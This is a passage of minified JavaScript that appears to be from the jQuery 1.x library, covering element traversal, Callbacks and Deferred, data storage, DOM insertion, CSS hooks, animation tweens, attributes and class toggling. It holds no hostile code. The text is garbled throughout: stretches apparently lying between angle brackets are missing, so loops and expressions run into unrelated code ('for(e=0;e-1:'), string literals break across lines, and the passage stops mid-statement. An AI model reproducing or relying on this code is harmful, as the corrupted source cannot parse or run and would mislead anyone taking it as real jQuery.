ft?e[0]:e,ft.merge(this,ft.parseHTML(r[1],e&&e.nodeType?e.ownerDocument||e:rt,!0)),Et.test(r[1])&&ft.isPlainObject(e))for(r in e)ft.isFunction(this[r])?this[r](e[r]):this.attr(r,e[r]);return this}if(i=rt.getElementById(r[2]),i&&i.parentNode){if(i.id!==r[2])return Ct.find(t);this.length=1,this[0]=i}return this.context=rt,this.selector=t,this}return t.nodeType?(this.context=this[0]=t,this.length=1,this):ft.isFunction(t)?"undefined"!=typeof n.ready?n.ready(t):t(ft):(void 0!==t.selector&&(this.selector=t.selector,this.context=t.context),ft.makeArray(t,this))};kt.prototype=ft.fn,Ct=ft(rt);var Lt=/^(?:parents|prev(?:Until|All))/,At={children:!0,contents:!0,next:!0,prev:!0};ft.fn.extend({has:function(t){var e,n=ft(t,this),r=n.length;return this.filter(function(){for(e=0;e-1:1===n.nodeType&&ft.find.matchesSelector(n,t))){o.push(n);break}return this.pushStack(o.length>1?ft.uniqueSort(o):o)},index:function(t){return t?"string"==typeof t?ft.inArray(this[0],ft(t)):ft.inArray(t.jquery?t[0]:t,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(t,e){return this.pushStack(ft.uniqueSort(ft.merge(this.get(),ft(t,e))))},addBack:function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}}),ft.each({parent:function(t){var e=t.parentNode;return e&&11!==e.nodeType?e:null},parents:function(t){return bt(t,"parentNode")},parentsUntil:function(t,e,n){return bt(t,"parentNode",n)},next:function(t){return i(t,"nextSibling")},prev:function(t){return i(t,"previousSibling")},nextAll:function(t){return bt(t,"nextSibling")},prevAll:function(t){return bt(t,"previousSibling")},nextUntil:function(t,e,n){return bt(t,"nextSibling",n)},prevUntil:function(t,e,n){return bt(t,"previousSibling",n)},siblings:function(t){return xt((t.parentNode||{}).firstChild,t)},children:function(t){return xt(t.firstChild)},contents:function(t){return ft.nodeName(t,"iframe")?t.contentDocument||t.contentWindow.document:ft.merge([],t.childNodes)}},function(t,e){ft.fn[t]=function(n,r){var i=ft.map(this,e,n);return"Until"!==t.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=ft.filter(r,i)),this.length>1&&(At[t]||(i=ft.uniqueSort(i)),Lt.test(t)&&(i=i.reverse())),this.pushStack(i)}});var Nt=/\S+/g;ft.Callbacks=function(t){t="string"==typeof t?o(t):ft.extend({},t);var e,n,r,i,a=[],s=[],l=-1,u=function(){for(i=t.once,r=e=!0;s.length;l=-1)for(n=s.shift();++l-1;)a.splice(n,1),n<=l&&l--}),this},has:function(t){return t?ft.inArray(t,a)>-1:a.length>0},empty:function(){return a&&(a=[]),this},disable:function(){return i=s=[],a=n="",this},disabled:function(){return!a},lock:function(){return i=!0,n||c.disable(),this},locked:function(){return!!i},fireWith:function(t,n){return i||(n=n||[],n=[t,n.slice?n.slice():n],s.push(n),e||u()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},ft.extend({Deferred:function(t){var e=[["resolve","done",ft.Callbacks("once memory"),"resolved"],["reject","fail",ft.Callbacks("once memory"),"rejected"],["notify","progress",ft.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var t=arguments;return ft.Deferred(function(n){ft.each(e,function(e,o){var a=ft.isFunction(t[e])&&t[e];i[o[1]](function(){var t=a&&a.apply(this,arguments);t&&ft.isFunction(t.promise)?t.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[o[0]+"With"](this===r?n.promise():this,a?[t]:arguments)})}),t=null}).promise()},promise:function(t){return null!=t?ft.extend(t,r):r}},i={};return r.pipe=r.then,ft.each(e,function(t,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},e[1^t][2].disable,e[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),t&&t.call(i,i),i},when:function(t){var e,n,r,i=0,o=it.call(arguments),a=o.length,s=1!==a||t&&ft.isFunction(t.promise)?a:0,l=1===s?t:ft.Deferred(),u=function(t,n,r){return function(i){n[t]=this,r[t]=arguments.length>1?it.call(arguments):i,r===e?l.notifyWith(n,r):--s||l.resolveWith(n,r)}};if(a>1)for(e=new Array(a),n=new Array(a),r=new Array(a);i0||(Dt.resolveWith(rt,[ft]),ft.fn.triggerHandler&&(ft(rt).triggerHandler("ready"),ft(rt).off("ready"))))}}),ft.ready.promise=function(e){if(!Dt)if(Dt=ft.Deferred(),"complete"===rt.readyState||"loading"!==rt.readyState&&!rt.documentElement.doScroll)t.setTimeout(ft.ready);else if(rt.addEventListener)rt.addEventListener("DOMContentLoaded",s),t.addEventListener("load",s);else{rt.attachEvent("onreadystatechange",s),t.attachEvent("onload",s);var n=!1;try{n=null==t.frameElement&&rt.documentElement}catch(t){}n&&n.doScroll&&!function e(){if(!ft.isReady){try{n.doScroll("left")}catch(n){return t.setTimeout(e,50)}a(),ft.ready()}}()}return Dt.promise(e)},ft.ready.promise();var qt;for(qt in ft(dt))break;dt.ownFirst="0"===qt,dt.inlineBlockNeedsLayout=!1,ft(function(){var t,e,n,r;n=rt.getElementsByTagName("body")[0],n&&n.style&&(e=rt.createElement("div"),r=rt.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(e),"undefined"!=typeof e.style.zoom&&(e.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",dt.inlineBlockNeedsLayout=t=3===e.offsetWidth,t&&(n.style.zoom=1)),n.removeChild(r))}),function(){var t=rt.createElement("div");dt.deleteExpando=!0;try{delete t.test}catch(t){dt.deleteExpando=!1}t=null}();var Rt=function(t){var e=ft.noData[(t.nodeName+" ").toLowerCase()],n=+t.nodeType||1;return(1===n||9===n)&&(!e||e!==!0&&t.getAttribute("classid")===e)},jt=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,Ht=/([A-Z])/g;ft.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(t){return t=t.nodeType?ft.cache[t[ft.expando]]:t[ft.expando],!!t&&!u(t)},data:function(t,e,n){return c(t,e,n)},removeData:function(t,e){return d(t,e)},_data:function(t,e,n){return c(t,e,n,!0)},_removeData:function(t,e){return d(t,e,!0)}}),ft.fn.extend({data:function(t,e){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===t){if(this.length&&(i=ft.data(o),1===o.nodeType&&!ft._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=ft.camelCase(r.slice(5)),l(o,r,i[r])));ft._data(o,"parsedAttrs",!0)}return i}return"object"==typeof t?this.each(function(){ft.data(this,t)}):arguments.length>1?this.each(function(){ft.data(this,t,e)}):o?l(o,t,ft.data(o,t)):void 0},removeData:function(t){return this.each(function(){ft.removeData(this,t)})}}),ft.extend({queue:function(t,e,n){var r;if(t)return e=(e||"fx")+"queue",r=ft._data(t,e),n&&(!r||ft.isArray(n)?r=ft._data(t,e,ft.makeArray(n)):r.push(n)),r||[]},dequeue:function(t,e){e=e||"fx";var n=ft.queue(t,e),r=n.length,i=n.shift(),o=ft._queueHooks(t,e),a=function(){ft.dequeue(t,e)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===e&&n.unshift("inprogress"),delete o.stop,i.call(t,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(t,e){var n=e+"queueHooks";return ft._data(t,n)||ft._data(t,n,{empty:ft.Callbacks("once memory").add(function(){ft._removeData(t,e+"queue"),ft._removeData(t,n)})})}}),ft.fn.extend({queue:function(t,e){var n=2;return"string"!=typeof t&&(e=t,t="fx",n--),arguments.length
a",dt.leadingWhitespace=3===t.firstChild.nodeType,dt.tbody=!t.getElementsByTagName("tbody").length,dt.htmlSerialize=!!t.getElementsByTagName("link").length,dt.html5Clone="<:nav>"!==rt.createElement("nav").cloneNode(!0).outerHTML,n.type="checkbox",n.checked=!0,e.appendChild(n),dt.appendChecked=n.checked,t.innerHTML="",dt.noCloneChecked=!!t.cloneNode(!0).lastChild.defaultValue,e.appendChild(t),n=rt.createElement("input"),n.setAttribute("type","radio"),n.setAttribute("checked","checked"),n.setAttribute("name","t"),t.appendChild(n),dt.checkClone=t.cloneNode(!0).cloneNode(!0).lastChild.checked,dt.noCloneEvent=!!t.addEventListener,t[ft.expando]=1,dt.attributes=!t.getAttribute(ft.expando)}();var zt={option:[1,""],legend:[1,"
","
"],area:[1,"",""],param:[1,"",""],thead:[1,"","
"],tr:[2,"","
"],col:[2,"","
"],td:[3,"","
"],_default:dt.htmlSerialize?[0,"",""]:[1,"X
","
"]};zt.optgroup=zt.option,zt.tbody=zt.tfoot=zt.colgroup=zt.caption=zt.thead,zt.th=zt.td;var Ut=/<|&#?\w+;/,Xt=/-1&&(h=f.split("."),f=h.shift(),h.sort()),a=f.indexOf(":")<0&&"on"+f,e=e[ft.expando]?e:new ft.Event(f,"object"==typeof e&&e),e.isTrigger=i?2:3,e.namespace=h.join("."),e.rnamespace=e.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,e.result=void 0,e.target||(e.target=r),n=null==n?[e]:ft.makeArray(n,[e]),u=ft.event.special[f]||{},i||!u.trigger||u.trigger.apply(r,n)!==!1)){if(!i&&!u.noBubble&&!ft.isWindow(r)){for(l=u.delegateType||f,Jt.test(l+f)||(s=s.parentNode);s;s=s.parentNode)p.push(s),c=s;c===(r.ownerDocument||rt)&&p.push(c.defaultView||c.parentWindow||t)}for(d=0;(s=p[d++])&&!e.isPropagationStopped();)e.type=d>1?l:u.bindType||f,o=(ft._data(s,"events")||{})[e.type]&&ft._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&Rt(s)&&(e.result=o.apply(s,n),e.result===!1&&e.preventDefault());if(e.type=f,!i&&!e.isDefaultPrevented()&&(!u._default||u._default.apply(p.pop(),n)===!1)&&Rt(r)&&a&&r[f]&&!ft.isWindow(r)){c=r[a],c&&(r[a]=null),ft.event.triggered=f;try{r[f]()}catch(t){}ft.event.triggered=void 0,c&&(r[a]=c)}return e.result}},dispatch:function(t){t=ft.event.fix(t);var e,n,r,i,o,a=[],s=it.call(arguments),l=(ft._data(this,"events")||{})[t.type]||[],u=ft.event.special[t.type]||{};if(s[0]=t,t.delegateTarget=this,!u.preDispatch||u.preDispatch.call(this,t)!==!1){for(a=ft.event.handlers.call(this,t,l),e=0;(i=a[e++])&&!t.isPropagationStopped();)for(t.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!t.isImmediatePropagationStopped();)t.rnamespace&&!t.rnamespace.test(o.namespace)||(t.handleObj=o,t.data=o.data,r=((ft.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s),void 0!==r&&(t.result=r)===!1&&(t.preventDefault(),t.stopPropagation()));return u.postDispatch&&u.postDispatch.call(this,t),t.result}},handlers:function(t,e){var n,r,i,o,a=[],s=e.delegateCount,l=t.target;if(s&&l.nodeType&&("click"!==t.type||isNaN(t.button)||t.button<1))for(;l!=this;l=l.parentNode||this)if(1===l.nodeType&&(l.disabled!==!0||"click"!==t.type)){for(r=[],n=0;n-1:ft.find(i,this,null,[l]).length),r[i]&&r.push(o);r.length&&a.push({elem:l,handlers:r})}return s]","i"),ee=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,ne=/\s*$/g,ae=f(rt),se=ae.appendChild(rt.createElement("div"));ft.extend({htmlPrefilter:function(t){return t.replace(ee,"<$1>")},clone:function(t,e,n){var r,i,o,a,s,l=ft.contains(t.ownerDocument,t);if(dt.html5Clone||ft.isXMLDoc(t)||!te.test("<"+t.nodeName+">")?o=t.cloneNode(!0):(se.innerHTML=t.outerHTML,se.removeChild(o=se.firstChild)),!(dt.noCloneEvent&&dt.noCloneChecked||1!==t.nodeType&&11!==t.nodeType||ft.isXMLDoc(t)))for(r=h(o),s=h(t),a=0;null!=(i=s[a]);++a)r[a]&&k(i,r[a]);if(e)if(n)for(s=s||h(t),r=r||h(o),a=0;null!=(i=s[a]);a++)S(i,r[a]);else S(t,o);return r=h(o,"script"),r.length>0&&m(r,!l&&h(t,"script")),r=s=i=null,o},cleanData:function(t,e){for(var n,r,i,o,a=0,s=ft.expando,l=ft.cache,u=dt.attributes,c=ft.event.special;null!=(n=t[a]);a++)if((e||Rt(n))&&(i=n[s],o=i&&l[i])){if(o.events)for(r in o.events)c[r]?ft.event.remove(n,r):ft.removeEvent(n,r,o.handle);l[i]&&(delete l[i],u||"undefined"==typeof n.removeAttribute?n[s]=void 0:n.removeAttribute(s),nt.push(i))}}}),ft.fn.extend({domManip:L,detach:function(t){return A(this,t,!0)},remove:function(t){return A(this,t)},text:function(t){return Bt(this,function(t){return void 0===t?ft.text(this):this.empty().append((this[0]&&this[0].ownerDocument||rt).createTextNode(t))},null,t,arguments.length)},append:function(){return L(this,arguments,function(t){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var e=E(this,t);e.appendChild(t)}})},prepend:function(){return L(this,arguments,function(t){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var e=E(this,t);e.insertBefore(t,e.firstChild)}})},before:function(){return L(this,arguments,function(t){this.parentNode&&this.parentNode.insertBefore(t,this)})},after:function(){return L(this,arguments,function(t){this.parentNode&&this.parentNode.insertBefore(t,this.nextSibling)})},empty:function(){for(var t,e=0;null!=(t=this[e]);e++){for(1===t.nodeType&&ft.cleanData(h(t,!1));t.firstChild;)t.removeChild(t.firstChild);t.options&&ft.nodeName(t,"select")&&(t.options.length=0)}return this},clone:function(t,e){return t=null!=t&&t,e=null==e?t:e,this.map(function(){return ft.clone(this,t,e)})},html:function(t){return Bt(this,function(t){var e=this[0]||{},n=0,r=this.length;if(void 0===t)return 1===e.nodeType?e.innerHTML.replace(Zt,""):void 0;if("string"==typeof t&&!ne.test(t)&&(dt.htmlSerialize||!te.test(t))&&(dt.leadingWhitespace||!Wt.test(t))&&!zt[(_t.exec(t)||["",""])[1].toLowerCase()]){t=ft.htmlPrefilter(t);try{for(;nt",u.childNodes[0].style.borderCollapse="separate",e=u.getElementsByTagName("td"), -e[0].style.cssText="margin:0;border:0;padding:0;display:none",o=0===e[0].offsetHeight,o&&(e[0].style.display="",e[1].style.display="none",o=0===e[0].offsetHeight)),d.removeChild(l)}var n,r,i,o,a,s,l=rt.createElement("div"),u=rt.createElement("div");u.style&&(u.style.cssText="float:left;opacity:.5",dt.opacity="0.5"===u.style.opacity,dt.cssFloat=!!u.style.cssFloat,u.style.backgroundClip="content-box",u.cloneNode(!0).style.backgroundClip="",dt.clearCloneStyle="content-box"===u.style.backgroundClip,l=rt.createElement("div"),l.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",u.innerHTML="",l.appendChild(u),dt.boxSizing=""===u.style.boxSizing||""===u.style.MozBoxSizing||""===u.style.WebkitBoxSizing,ft.extend(dt,{reliableHiddenOffsets:function(){return null==n&&e(),o},boxSizingReliable:function(){return null==n&&e(),i},pixelMarginRight:function(){return null==n&&e(),r},pixelPosition:function(){return null==n&&e(),n},reliableMarginRight:function(){return null==n&&e(),a},reliableMarginLeft:function(){return null==n&&e(),s}}))}();var he,me,ye=/^(top|right|bottom|left)$/;t.getComputedStyle?(he=function(e){var n=e.ownerDocument.defaultView;return n&&n.opener||(n=t),n.getComputedStyle(e)},me=function(t,e,n){var r,i,o,a,s=t.style;return n=n||he(t),a=n?n.getPropertyValue(e)||n[e]:void 0,""!==a&&void 0!==a||ft.contains(t.ownerDocument,t)||(a=ft.style(t,e)),n&&!dt.pixelMarginRight()&&de.test(a)&&ce.test(e)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o),void 0===a?a:a+""}):fe.currentStyle&&(he=function(t){return t.currentStyle},me=function(t,e,n){var r,i,o,a,s=t.style;return n=n||he(t),a=n?n[e]:void 0,null==a&&s&&s[e]&&(a=s[e]),de.test(a)&&!ye.test(e)&&(r=s.left,i=t.runtimeStyle,o=i&&i.left,o&&(i.left=t.currentStyle.left),s.left="fontSize"===e?"1em":a,a=s.pixelLeft+"px",s.left=r,o&&(i.left=o)),void 0===a?a:a+""||"auto"});var ve=/alpha\([^)]*\)/i,ge=/opacity\s*=\s*([^)]*)/i,be=/^(none|table(?!-c[ea]).+)/,xe=new RegExp("^("+Pt+")(.*)$","i"),we={position:"absolute",visibility:"hidden",display:"block"},Ee={letterSpacing:"0",fontWeight:"400"},Te=["Webkit","O","Moz","ms"],Ce=rt.createElement("div").style;ft.extend({cssHooks:{opacity:{get:function(t,e){if(e){var n=me(t,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":dt.cssFloat?"cssFloat":"styleFloat"},style:function(t,e,n,r){if(t&&3!==t.nodeType&&8!==t.nodeType&&t.style){var i,o,a,s=ft.camelCase(e),l=t.style;if(e=ft.cssProps[s]||(ft.cssProps[s]=R(s)||s),a=ft.cssHooks[e]||ft.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(t,!1,r))?i:l[e];if(o=typeof n,"string"===o&&(i=Ft.exec(n))&&i[1]&&(n=p(t,e,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(ft.cssNumber[s]?"":"px")),dt.clearCloneStyle||""!==n||0!==e.indexOf("background")||(l[e]="inherit"),!(a&&"set"in a&&void 0===(n=a.set(t,n,r)))))try{l[e]=n}catch(t){}}},css:function(t,e,n,r){var i,o,a,s=ft.camelCase(e);return e=ft.cssProps[s]||(ft.cssProps[s]=R(s)||s),a=ft.cssHooks[e]||ft.cssHooks[s],a&&"get"in a&&(o=a.get(t,!0,n)),void 0===o&&(o=me(t,e,r)),"normal"===o&&e in Ee&&(o=Ee[e]),""===n||n?(i=parseFloat(o),n===!0||isFinite(i)?i||0:o):o}}),ft.each(["height","width"],function(t,e){ft.cssHooks[e]={get:function(t,n,r){if(n)return be.test(ft.css(t,"display"))&&0===t.offsetWidth?pe(t,we,function(){return F(t,e,r)}):F(t,e,r)},set:function(t,n,r){var i=r&&he(t);return H(t,n,r?P(t,e,r,dt.boxSizing&&"border-box"===ft.css(t,"boxSizing",!1,i),i):0)}}}),dt.opacity||(ft.cssHooks.opacity={get:function(t,e){return ge.test((e&&t.currentStyle?t.currentStyle.filter:t.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":e?"1":""},set:function(t,e){var n=t.style,r=t.currentStyle,i=ft.isNumeric(e)?"alpha(opacity="+100*e+")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(e>=1||""===e)&&""===ft.trim(o.replace(ve,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===e||r&&!r.filter)||(n.filter=ve.test(o)?o.replace(ve,i):o+" "+i)}}),ft.cssHooks.marginRight=q(dt.reliableMarginRight,function(t,e){if(e)return pe(t,{display:"inline-block"},me,[t,"marginRight"])}),ft.cssHooks.marginLeft=q(dt.reliableMarginLeft,function(t,e){if(e)return(parseFloat(me(t,"marginLeft"))||(ft.contains(t.ownerDocument,t)?t.getBoundingClientRect().left-pe(t,{marginLeft:0},function(){return t.getBoundingClientRect().left}):0))+"px"}),ft.each({margin:"",padding:"",border:"Width"},function(t,e){ft.cssHooks[t+e]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[t+It[r]+e]=o[r]||o[r-2]||o[0];return i}},ce.test(t)||(ft.cssHooks[t+e].set=H)}),ft.fn.extend({css:function(t,e){return Bt(this,function(t,e,n){var r,i,o={},a=0;if(ft.isArray(e)){for(r=he(t),i=e.length;a1)},show:function(){return j(this,!0)},hide:function(){return j(this)},toggle:function(t){return"boolean"==typeof t?t?this.show():this.hide():this.each(function(){Mt(this)?ft(this).show():ft(this).hide()})}}),ft.Tween=I,I.prototype={constructor:I,init:function(t,e,n,r,i,o){this.elem=t,this.prop=n,this.easing=i||ft.easing._default,this.options=e,this.start=this.now=this.cur(),this.end=r,this.unit=o||(ft.cssNumber[n]?"":"px")},cur:function(){var t=I.propHooks[this.prop];return t&&t.get?t.get(this):I.propHooks._default.get(this)},run:function(t){var e,n=I.propHooks[this.prop];return this.options.duration?this.pos=e=ft.easing[this.easing](t,this.options.duration*t,0,1,this.options.duration):this.pos=e=t,this.now=(this.end-this.start)*e+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):I.propHooks._default.set(this),this}},I.prototype.init.prototype=I.prototype,I.propHooks={_default:{get:function(t){var e;return 1!==t.elem.nodeType||null!=t.elem[t.prop]&&null==t.elem.style[t.prop]?t.elem[t.prop]:(e=ft.css(t.elem,t.prop,""),e&&"auto"!==e?e:0)},set:function(t){ft.fx.step[t.prop]?ft.fx.step[t.prop](t):1!==t.elem.nodeType||null==t.elem.style[ft.cssProps[t.prop]]&&!ft.cssHooks[t.prop]?t.elem[t.prop]=t.now:ft.style(t.elem,t.prop,t.now+t.unit)}}},I.propHooks.scrollTop=I.propHooks.scrollLeft={set:function(t){t.elem.nodeType&&t.elem.parentNode&&(t.elem[t.prop]=t.now)}},ft.easing={linear:function(t){return t},swing:function(t){return.5-Math.cos(t*Math.PI)/2},_default:"swing"},ft.fx=I.prototype.init,ft.fx.step={};var Se,ke,Le=/^(?:toggle|show|hide)$/,Ae=/queueHooks$/;ft.Animation=ft.extend(W,{tweeners:{"*":[function(t,e){var n=this.createTween(t,e);return p(n.elem,t,Ft.exec(e),n),n}]},tweener:function(t,e){ft.isFunction(t)?(e=t,t=["*"]):t=t.match(Nt);for(var n,r=0,i=t.length;r
a",t=n.getElementsByTagName("a")[0],e.setAttribute("type","checkbox"),n.appendChild(e),t=n.getElementsByTagName("a")[0],t.style.cssText="top:1px",dt.getSetAttribute="t"!==n.className,dt.style=/top/.test(t.getAttribute("style")),dt.hrefNormalized="/a"===t.getAttribute("href"),dt.checkOn=!!e.value,dt.optSelected=i.selected,dt.enctype=!!rt.createElement("form").enctype,r.disabled=!0,dt.optDisabled=!i.disabled,e=rt.createElement("input"),e.setAttribute("value",""),dt.input=""===e.getAttribute("value"),e.value="t",e.setAttribute("type","radio"),dt.radioValue="t"===e.value}();var Ne=/\r/g,De=/[\x20\t\r\n\f]+/g;ft.fn.extend({val:function(t){var e,n,r,i=this[0];{if(arguments.length)return r=ft.isFunction(t),this.each(function(n){var i;1===this.nodeType&&(i=r?t.call(this,n,ft(this).val()):t,null==i?i="":"number"==typeof i?i+="":ft.isArray(i)&&(i=ft.map(i,function(t){return null==t?"":t+""})),e=ft.valHooks[this.type]||ft.valHooks[this.nodeName.toLowerCase()],e&&"set"in e&&void 0!==e.set(this,i,"value")||(this.value=i))});if(i)return e=ft.valHooks[i.type]||ft.valHooks[i.nodeName.toLowerCase()],e&&"get"in e&&void 0!==(n=e.get(i,"value"))?n:(n=i.value,"string"==typeof n?n.replace(Ne,""):null==n?"":n)}}}),ft.extend({valHooks:{option:{get:function(t){var e=ft.find.attr(t,"value");return null!=e?e:ft.trim(ft.text(t)).replace(De," ")}},select:{get:function(t){for(var e,n,r=t.options,i=t.selectedIndex,o="select-one"===t.type||i<0,a=o?null:[],s=o?i+1:r.length,l=i<0?s:o?i:0;l-1)try{r.selected=n=!0}catch(t){r.scrollHeight}else r.selected=!1;return n||(t.selectedIndex=-1),i}}}}),ft.each(["radio","checkbox"],function(){ft.valHooks[this]={set:function(t,e){if(ft.isArray(e))return t.checked=ft.inArray(ft(t).val(),e)>-1}},dt.checkOn||(ft.valHooks[this].get=function(t){return null===t.getAttribute("value")?"on":t.value})});var qe,Re,je=ft.expr.attrHandle,He=/^(?:checked|selected)$/i,Pe=dt.getSetAttribute,Fe=dt.input;ft.fn.extend({attr:function(t,e){return Bt(this,ft.attr,t,e,arguments.length>1)},removeAttr:function(t){return this.each(function(){ft.removeAttr(this,t)})}}),ft.extend({attr:function(t,e,n){var r,i,o=t.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof t.getAttribute?ft.prop(t,e,n):(1===o&&ft.isXMLDoc(t)||(e=e.toLowerCase(),i=ft.attrHooks[e]||(ft.expr.match.bool.test(e)?Re:qe)),void 0!==n?null===n?void ft.removeAttr(t,e):i&&"set"in i&&void 0!==(r=i.set(t,n,e))?r:(t.setAttribute(e,n+""),n):i&&"get"in i&&null!==(r=i.get(t,e))?r:(r=ft.find.attr(t,e),null==r?void 0:r))},attrHooks:{type:{set:function(t,e){if(!dt.radioValue&&"radio"===e&&ft.nodeName(t,"input")){var n=t.value;return t.setAttribute("type",e),n&&(t.value=n),e}}}},removeAttr:function(t,e){var n,r,i=0,o=e&&e.match(Nt);if(o&&1===t.nodeType)for(;n=o[i++];)r=ft.propFix[n]||n,ft.expr.match.bool.test(n)?Fe&&Pe||!He.test(n)?t[r]=!1:t[ft.camelCase("default-"+n)]=t[r]=!1:ft.attr(t,n,""),t.removeAttribute(Pe?n:r)}}),Re={set:function(t,e,n){return e===!1?ft.removeAttr(t,n):Fe&&Pe||!He.test(n)?t.setAttribute(!Pe&&ft.propFix[n]||n,n):t[ft.camelCase("default-"+n)]=t[n]=!0,n}},ft.each(ft.expr.match.bool.source.match(/\w+/g),function(t,e){var n=je[e]||ft.find.attr;Fe&&Pe||!He.test(e)?je[e]=function(t,e,r){var i,o;return r||(o=je[e],je[e]=i,i=null!=n(t,e,r)?e.toLowerCase():null,je[e]=o),i}:je[e]=function(t,e,n){if(!n)return t[ft.camelCase("default-"+e)]?e.toLowerCase():null}}),Fe&&Pe||(ft.attrHooks.value={set:function(t,e,n){return ft.nodeName(t,"input")?void(t.defaultValue=e):qe&&qe.set(t,e,n)}}),Pe||(qe={set:function(t,e,n){var r=t.getAttributeNode(n);if(r||t.setAttributeNode(r=t.ownerDocument.createAttribute(n)),r.value=e+="","value"===n||e===t.getAttribute(n))return e}},je.id=je.name=je.coords=function(t,e,n){var r;if(!n)return(r=t.getAttributeNode(e))&&""!==r.value?r.value:null},ft.valHooks.button={get:function(t,e){var n=t.getAttributeNode(e);if(n&&n.specified)return n.value},set:qe.set},ft.attrHooks.contenteditable={set:function(t,e,n){qe.set(t,""!==e&&e,n)}},ft.each(["width","height"],function(t,e){ft.attrHooks[e]={set:function(t,n){if(""===n)return t.setAttribute(e,"auto"),n}}})),dt.style||(ft.attrHooks.style={get:function(t){return t.style.cssText||void 0},set:function(t,e){return t.style.cssText=e+""}});var Ie=/^(?:input|select|textarea|button|object)$/i,Me=/^(?:a|area)$/i;ft.fn.extend({prop:function(t,e){return Bt(this,ft.prop,t,e,arguments.length>1)},removeProp:function(t){return t=ft.propFix[t]||t,this.each(function(){try{this[t]=void 0,delete this[t]}catch(t){}})}}),ft.extend({prop:function(t,e,n){var r,i,o=t.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&ft.isXMLDoc(t)||(e=ft.propFix[e]||e,i=ft.propHooks[e]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(t,n,e))?r:t[e]=n:i&&"get"in i&&null!==(r=i.get(t,e))?r:t[e]},propHooks:{tabIndex:{get:function(t){var e=ft.find.attr(t,"tabindex");return e?parseInt(e,10):Ie.test(t.nodeName)||Me.test(t.nodeName)&&t.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),dt.hrefNormalized||ft.each(["href","src"],function(t,e){ft.propHooks[e]={get:function(t){return t.getAttribute(e,4)}}}),dt.optSelected||(ft.propHooks.selected={get:function(t){var e=t.parentNode;return e&&(e.selectedIndex,e.parentNode&&e.parentNode.selectedIndex),null},set:function(t){var e=t.parentNode;e&&(e.selectedIndex,e.parentNode&&e.parentNode.selectedIndex)}}),ft.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){ft.propFix[this.toLowerCase()]=this}),dt.enctype||(ft.propFix.enctype="encoding");var Be=/[\t\r\n\f]/g;ft.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,l=0;if(ft.isFunction(t))return this.each(function(e){ft(this).addClass(t.call(this,e,V(this)))});if("string"==typeof t&&t)for(e=t.match(Nt)||[];n=this[l++];)if(i=V(n),r=1===n.nodeType&&(" "+i+" ").replace(Be," ")){for(a=0;o=e[a++];)r.indexOf(" "+o+" ")<0&&(r+=o+" ");s=ft.trim(r),i!==s&&ft.attr(n,"class",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,l=0;if(ft.isFunction(t))return this.each(function(e){ft(this).removeClass(t.call(this,e,V(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof t&&t)for(e=t.match(Nt)||[];n=this[l++];)if(i=V(n),r=1===n.nodeType&&(" "+i+" ").replace(Be," ")){for(a=0;o=e[a++];)for(;r.indexOf(" "+o+" ")>-1;)r=r.replace(" "+o+" "," ");s=ft.trim(r),i!==s&&ft.attr(n,"class",s)}return this},toggleClass:function(t,e){var n=typeof t;return"boolean"==typeof e&&"string"===n?e?this.addClass(t):this.removeClass(t):ft.isFunction(t)?this.each(function(n){ft(this).toggleClass(t.call(this,n,V(this),e),e)}):this.each(function(){var e,r,i,o;if("string"===n)for(r=0,i=ft(this),o=t.match(Nt)||[];e=o[r++];)i.hasClass(e)?i.removeClass(e):i.addClass(e);else void 